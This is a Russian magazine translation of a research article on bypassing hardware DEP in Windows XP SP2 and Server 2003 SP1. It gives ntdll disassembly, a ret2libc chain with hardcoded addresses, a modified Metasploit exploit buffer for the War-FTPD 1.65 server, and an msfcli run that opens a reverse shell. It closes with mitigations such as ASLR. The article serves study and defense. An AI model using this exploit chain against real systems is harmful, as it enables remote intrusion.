обход аппаратной реализации DEP в Windows

По правде говоря, тематика этого материала достаточно далека от того, что принято называть сетевыми решениями, публикацию его в «СР» мы нашли уместной. Причина такова: здесь описывается достаточно революционная технология защиты от несанкционированного доступа (ну и обход этой защиты, как следует из названия статьи ;), который – уж так повелось – чаще всего производится удаленным злоумышленником, через те или иные сети передачи данных. Так что – связь с сетями, если вдуматься, прослеживается. Даже в качестве примера приведен эксплойт для известного FTP-сервера под Windows. В общем, сетевому администратору знать такие вещи не помешает.

Одним из самых значительных изменений, представленных Microsoft в Windows XP Service Pack 2 и Windows 2003 Server Service Pack 1, было поддержка новой возможности, названной Data Execution Prevention (DEP). Этот механизм позволяет делать именно то, что подразумевает его название: предотвращать выполнение кода в областях памяти, не предназначенных для выполнения. Такая технология очень важна для предотвращения использования многих уязвимостей в программном обеспечении, так как большинство эксплойтов основано на хранении произвольного кода в областях памяти, не предназначенных для выполнения, например в стеке или куче.

DEP может работать в двух режимах. Первый режим называется программный DEP (Software-enforced DEP) и обладает ограниченной функциональностью для предотвращения выполнения кода эксплойтов, использующих технику перезаписи SEH. Программный DEP используется на компьютерах, не имеющих поддержки неисполняемых страниц на аппаратном уровне. Кроме того, программная защита DEP встраивается во время компиляции, и поэтому работает только для системных библиотек и пересобранных с поддержкой DEP сторонних приложений. Способ обхода программного DEP был описан ранее и не будет обсуждаться в этой статье.

Второй режим работы DEP – аппаратный (Hardware-enforced DEP). Он используется в тех случаях, когда аппаратное обеспечение поддерживает неисполняемые страницы памяти. Большинство существующих процессоров Intel-подобной архитектуры не поддерживают такую возможность (из-за унаследованной поддержки только страниц, доступных на чтение или на запись), однако новые чипсеты начинают поддерживать неисполняемые страницы через технологии типа Page Address Extensions (PAE). Аппаратный DEP наиболее интересный режим, так как он действительно сильно затрудняет использование большинства методов атаки. В этой статье описана методика обхода DEP, работающего в аппаратном режиме.

Перед описанием методики, разумно будет определить некоторые понятия, которыми мы будем оперировать. В данном случае методика предназначена для обеспечения выполнения кода из области памяти, не предназначенной для исполнения, например стека потока или кучи процесса, при условии использования аппаратного DEP. Данная методика должна полностью нейтрализовывать DEP, так как при написании эксплойтов все еще используется прием исполнения произвольного кода из доступных на запись областей памяти. Кроме того, этот способ должен быть универсален, насколько это возможно, и без серьезных изменений должен работать и для существующих, и для новых эксплойтов. Определившись с требованиями, самое время разобраться в новых возможностях, пришедших с аппаратным DEP.

Реализуя поддержку DEP, в Microsoft хорошо представляли, какое количество сторонних приложений может столкнуться с проблемой несовместимости из- за постановки под вопрос факта исполняемости той или иной области памяти. С учетом этого, DEP был спроектирован с возможностью настройки параметров его работы. По умолчанию защита включена только для системных процессов и либо для некоторых заранее определенных приложений (OptIn), либо для всех приложений, кроме заранее определенных (OptOut). Два этих флага передаются в ядро во время загрузки системы через опцию /NoExecute в файле boot.ini. Кроме того, в дополнение к NoExecute, в ядро могут быть переданы еще два флага - AlwaysOn или AlwaysOff. Два этих параметра устанавливают флаг использования или не использования DEP для каждого процесса, независимо от его настроек. В Windows XP SP2 по умолчанию используется OptIn, тогда как в Windows 2003 Server SP1 – OptOut.

Кроме использования глобального системного флага, существует возможность включить или отключить использование DEP для каждого процесса. Отключить поддержку NX (non-executable) можно во время выполнения процесса. Для этого в ntdll.dll была добавлена функция
LdrpCheckNXCompatibility, проверяющая некоторые условия и определяющая, нужно ли использовать поддержку NX для процесса. Эта функция вызывается каждый раз, когда какая-либо DLL загружается в контекст процесса, через функцию LdrpRunInitializationRoutines. Вначале проверяется, загружена ли SafeDisc DLL. Если да, NX не используется. Затем происходит анализ базы данных приложений, чтобы узнать, должна ли быть включена или отключена поддержка NX для процесса. И, наконец, проверяется, есть ли в DLL секции не совместимые с NX (такие как .aspack, .pcle, и .sforce). По результатам этих проверок, поддержка NX или разрешается или не разрешается через новый PROCESSINFOCLASS, названный ProcessExecuteFlags (0x22). При вызове NtSetInformationProcess с этим параметром в качестве дополнительного аргумента в функцию передается 4 байта битовой маски. Далее эта битовая маска передается в функцию nt!MmSetExecuteOptions, которая выполняет соответствующую операцию. В качестве части битовой маски можно передать параметр MEM_EXECUTE_OPTION_PERMANENT (0x8), означающий запрет на повторное изменение флагов исполнения. Для включения поддержки NX используется флаг MEM_EXECUTE_OPTION_DISABLE (0x1), для отключения - MEM_EXECUTE_OPTION_ENABLE (0x2). В зависимости от флагов процесса, выполнение кода из областей памяти, не предназначенных для исполнения, может быть разрешено (MEM_EXECUTE_OPTION_ENABLE) или запрещено (MEM_EXECUTE_OPTION_DISABLE).

Если бы можно было изменить флаги исполнения процесса, атакующий мог бы выполнять код из областей памяти ранее защищенных от исполнения. Чтобы осуществить это, атакующий должен иметь возможность выполнять код из областей памяти разрешенных для исполнения. Для этого могут пригодиться исполняемые области памяти, находящиеся по одним и тем же адресам в каждом процессе.

Чтобы использовать эту возможность в своих интересах, атакующий должен тем или иным способом вызвать функцию NtSetInformationProcess с параметром ProcessExecuteFlags. Кроме того, аргумент ProcessInformation должен иметь установленный бит MEM_EXECUTE_OPTION_ENABLE и обязательно сброшенный MEM_EXECUTE_OPTION_DISABLE. Следующий код демонстрирует вызов этой функции, результатом которого является отключение поддержки NX для вызывающего процесса:

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
NtSetInformationProcess(
NtCurrentProcess(), // (HANDLE)-1
ProcessExecuteFlags, // 0x22
&ExecuteFlags, // ptr to 0x2
sizeof(ExecuteFlags)); // 0x4

Используя технику ret2libc, можно перенаправить поток выполнения в функцию NtSetInformationProcess с фреймом стека, созданным атакующим. В данном случае, аргументы, описанные в комментарии справа от строчек кода, должны быть помещены в стек так, чтобы вызванная
NtSetInformationProcess правильно их интерпретировала. Огромным недостатком этого способа является то, что он требует использования нулевых байтов в части буфере, применяемой для переполнения. Короче говоря, это практически не применимо, особенно при использовании переполнений в строковых функциях. Однако в тех случаях, когда это условие удовлетворяется, данные метод может быть полезен.

Другой подход заключается в том, что атакующий может использовать код, уже находящийся в пространстве ntdll, с целью отключения поддержки NX для процесса. Вернувшись в определенный блок кода можно отключить поддержку NX при условии, что ntdll сможет вернуть управление в контролируемый атакующим буфер. Ограничением этого метода является то, что атакующий должен контролировать стек, так же, как при большинстве атак в стиле ret2libc, однако есть и плюс - нет надобности в контроле аргументов.

Вначале нужно переместить поток управления в область памяти, в которой находятся команды эквивалентные комбинации

mov al, 0x1 / ret

Существует много примеров таких комбинаций команд:

xor eax, eax/inc eax/ret

или

mov eax, 1/ret

и т.д.Один из таких примеров можно найти в функции ntdll!NtdllOkayToLockRoutine:

7c952080 b001 mov al,0x1
7c952082 c20400 ret 0x4

Эта команда устанавливает младший байт регистра eax в 1. Для чего это нужно, будет понятно далее. Как только поток управления перейдет к команде mov, а затем и ret, атакующий должен будет изменить стек таким образом, чтобы по команде ret произошел возврат в другой сегмент кода внутри ntdll. А точнее, должен произойти возврат в подпрограмму ntdll!LdrpCheckNXCompatibility.

ntdll!LdrpCheckNXCompatibility+0x13:
7c91d3f8 3c01 cmp al,0x1
7c91d3fa 6a02 push 0x2
7c91d3fc 5e pop esi
7c91d3fd 0f84b72a0200 je ntdll!LdrpCheckNXCompatibility+0x1a (7c93feba)

В этом блоке кода проверяется, равен ли младший байт регистра eax единице. Независимо от результатов проверки, в регистр esi кладется значение 2. После этого проверяется, установлен ли zero-флаг (он будет установлен, если младший байт eax равен 1). Так как этот код будет выполнен после первого набора инструкций mov al, 0x1 / ret, флаг ZF будет установлен всегда, что вызовет передачу управления на адрес 0x7c93feba.

ntdll!LdrpCheckNXCompatibility+0x1a:
7c93feba 8975fc mov [ebp-0x4],esi
7c93febd e941d5fdff jmp ntdll!LdrpCheckNXCompatibility+0x1d (7c91d403)

Здесь локальной переменной присваивается значение регистра esi, в данном случае 2. Далее поток выполнения переходит на адрес 0x7c91d403.

ntdll!LdrpCheckNXCompatibility+0x1d:
7c91d403 837dfc00 cmp dword ptr [ebp-0x4],0x0
7c91d407 0f8560890100 jne ntdll!LdrpCheckNXCompatibility+0x4d (7c935d6d)

Этот блок кода, в свою очередь, сравнивает значение локальной переменной, равной 2, с нулем. Если переменная не равна нулю, происходит переход на адрес 0x7c935d6d.

ntdll!LdrpCheckNXCompatibility+0x4d:
7c935d6d 6a04 push 0x4
7c935d6f 8d45fc lea eax,[ebp-0x4]
7c935d72 50 push eax
7c935d73 6a22 push 0x22
7c935d75 6aff push 0xff
7c935d77 e8b188fdff call ntdll!ZwSetInformationProcess (7c90e62d)
7c935d7c e9c076feff jmp ntdll!LdrpCheckNXCompatibility+0x5c (7c91d441)

С этого места становится интересней. Здесь происходит вызов NtSetInformationProcess с параметром ProcessExecuteFlags. Указатель на параметр ProcessInformation, ранее инициализированный значением 2, также передается в качестве дополнительного аргумента. Результатом этого будет отключение поддержки NX для процесса. После завершения работы функции ZwSetInformationProcess поток выполнения перейдет на адрес 0x7c91d441.

ntdll!LdrpCheckNXCompatibility+0x5c:
7c91d441 5e pop esi
7c91d442 c9 leave
7c91d443 c20400 ret 0x4

Здесь происходит восстановление сохраненных значений регистров, выполняется команда leave и возврат в вызывающую функцию. В данном случае атакующий изменяет фрейм стека таким образом, что команда ret осуществит переход на команду, которая, в свою очередь, перенаправит поток выполнения в контролируемый буфер, содержащий произвольный код, который теперь, когда поддержка NX отключена, будет выполнен.
Для реализации этой техники, нужно знать три адреса. Первый – это адрес комбинации

mov al, 0x1 / ret

или эквивалентной. К счастью, таких комбинаций много, хотя и не все такие простые, как та, что описана в этой статье. Второй – адрес начала блока кода

cmp al, 0x1

внутри ntdll!LdrpCheckNXCompatibility. Если оба этих адреса находятся в пределах ntdll, эксплойт будет более переносимый, чем тот, который зависит от адресов в двух разных DLL. И, наконец, третий адрес, который использовался бы на машинах, не имеющих поддержки аппаратного DEP, команды jmp esp или подобной, в зависимости от рассматриваемой уязвимости.

Кроме перечисленных требований, описанная методика полагается на тот факт, что ebp указывает на доступный для записи адрес, чтобы переменная, показывающая, что поддержка NX должны быть отключена, могла быть временно сохранена. Это можно реализовать различными способами, поэтому данное требование не является сильно ограничивающим фактором.

Для тестирования техники, был модифицирован эксплойт warftpd_165_user из Metasploit Framework, написанный Fairuzan Roslan. Эксплойт использует простое переполнение стека. Да модификации он выглядел следующим образом:

my $evil = $self->MakeNops(1024);
substr($evil, 485, 4, pack("V", $target->[1]));
substr($evil, 600, length($shellcode), $shellcode);

Этот код создает массив размером 1024 байт, заполненный опкодами NOP. Начиная с 485 байта, записан 4-байтовый адрес возврата, указывающий на шелкод, добавленный в конец массива. В системе с включенной поддержкой аппаратного DEP, эксплойт терпит неудачу при попытке выполнения первой же команды NOP, находящейся в области памяти (стеке потока), не предназначенной для выполнения.

Применив описанную выше методику, эксплойт, а точнее структура отправляемого буфера, была модифицирована:

my $evil = "\xcc" x 485;
$evil .= "\x80\x20\x95\x7c";
$evil .= "\xff\xff\xff\xff";
$evil .= "\xf8\xd3\x91\x7c";
$evil .= "\xff\xff\xff\xff";
$evil .= "\xcc" x 0x54;
$evil .= pack("V", $target->[1]);
$evil .= $shellcode;
$evil .= "\xcc" x (1024 - length($evil));

В нашем случае буфер заполняется 485 командами int3. Затем в буфер помещается адрес возврата, указывающий на ntdll!NtdllOkayToLockRoutine. Так как эта подпрограмма выполняет retn 0x4, следующие 4 байта являются подделанным аргументом, выталкивающимся из стека. Когда NtdllOkayToLockRoutine отработает, стек будет указывать на 493 байт буфера, который уже заранее проинициализирован (находится сразу за перезаписанным адресом возврата 0x7c952080 и подделанным аргументом). Это означает, что по завершению работы NtdllOkayToLockRoutine поток выполнения перейдет на адрес 0x7c91d3f8. Этот блок кода проверяет младший байт регистра eax и конечном счете приводит к отключению поддержки NX для процесса. После этого из стека выталкиваются сохраненные значения регистров и выполняется команда leave, присваивающая указателю стека значение, на которое в данный момент указывает регистр ebp. В данном случае, ebp на 0x54 байта был отдален от esp, поэтому мы вставили дополнительные 0x54 байта. После этого указатель стека указывает на 577 байт нашего буфера (сразу за дополнительными 0x54 байтами). Это означает, что произойдет возврат на любой адрес, находящийся в этом месте буфера. В данном конкретном случае, здесь должен находиться специфичный для каждой системы адрес команды jmp esp или эквивалентной. После выполнения команды jmp esp поток выполнения перейдет на шелкод. Когда отработает шелкод, эксплойт будет вести себя так, как будто не было никаких изменений:

$ ./msfcli warftpd_165_user_dep RHOST=192.168.244.128 RPORT=4446 \
LHOST=192.168.244.2 LPORT=4444 PAYLOAD=win32_reverse TARGET=2 E
[*] Starting Reverse Handler.
[*] Trying Windows XP SP2 English using return address 0x71ab9372....
[*] 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
[*] Sending evil buffer....
[*] Got connection from 192.168.244.2:4444<->192.168.244.128:46638
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Program Files\War-ftpd>

заключение

Методика, описанная в этой статье, позволяет обойти защитный механизм, реализуемый аппаратным DEP в стандартных дистрибутивах Windows XP Service Pack 2 и Windows 2003 Server Service Pack 1. Недостаток защиты не связан с какой-нибудь определенной ошибкой, допущенной в процессе реализации поддержки аппаратного DEP, а является побочным эффектом архитектуры решения Microsoft для отключения поддержки NX для процесса режима пользователя из самого процесса. Если бы такой возможности не было, то есть поддержку NX нельзя было бы отключить во время работы процесса из самого процесса, подходы, описанные в статье, не были бы применимы.

Не интересно описывать проблему, не предложив путей ее решения. Для противодействия атаке нужно выделить ряд вещей, от которых зависит ее успех. Первое и самое главное, описанный подход зависит от знания трех не связанных друг с другом адресов. Во-вторых, успех зависит от того, позволено ли процессу режима пользователя отключать поддержку NX самому себе. И, в-третьих, необходимо контролировать стек, чтобы иметь возможность выполнить атаку в стиле ret2libc.

Первое условие можно нарушить, реализовав механизм случайного размещения в адресном пространстве (Address Space Layout Randomization), который сделает неизвестным для атакующего расположение нужного блока кода. Второе условие нарушается путем вынесения программной логики контроля над включением/отключением поддержки NX для процесса в режим ядра, так чтобы нельзя было изменять эти параметры напрямую. Нужно пересмотреть сегодняшнею модель, в рамках которой можно отключить поддержку NX при возникновении некоторых событий (типа загрузки несовместимой с NX динамической библиотеки). Несмотря на неоднозначность данного решения, авторы рассматривают его с точки зрения совместимости и находят вполне пригодным. И, наконец, третье условие не относится к той сфере, которую Microsoft может контролировать. Кроме этих потенциальных решений, можно было бы сделать так, чтобы флаг поддержки NX устанавливался при инициализации процесса и был бы неизменен на протяжении всей его жизни. Хотя авторы не уверены насчет выполнимости такого решения с сохранением возможности отключения поддержки NX для несовместимых с этой технологий подгружаемых динамических библиотек.

В заключение, авторы хотели бы отметить, что в Microsoft проделали неплохую работу по повышению уровня безопасности, результаты которой появились в XP Service Pack 2. Описанная методика атаки не должна восприниматься как следствие того, что Microsoft не в состоянии делать что-то качественно и надежно, так как уступки в плане безопасности были сделаны для сохранения совместимости. Всегда есть компромисс между новыми системами защиты и потенциальными проблемами совместимости и нужно заметить, что, возможно, никто другой так не заботится о сохранении обратной совместимости своих продуктов, как Microsoft.



skape и Skywing, перевод Владимира Куксенка.


Сетевые решения. Статья была опубликована в номере 05 за 2006 год в рубрике save ass…

©1999-2024 Сетевые решения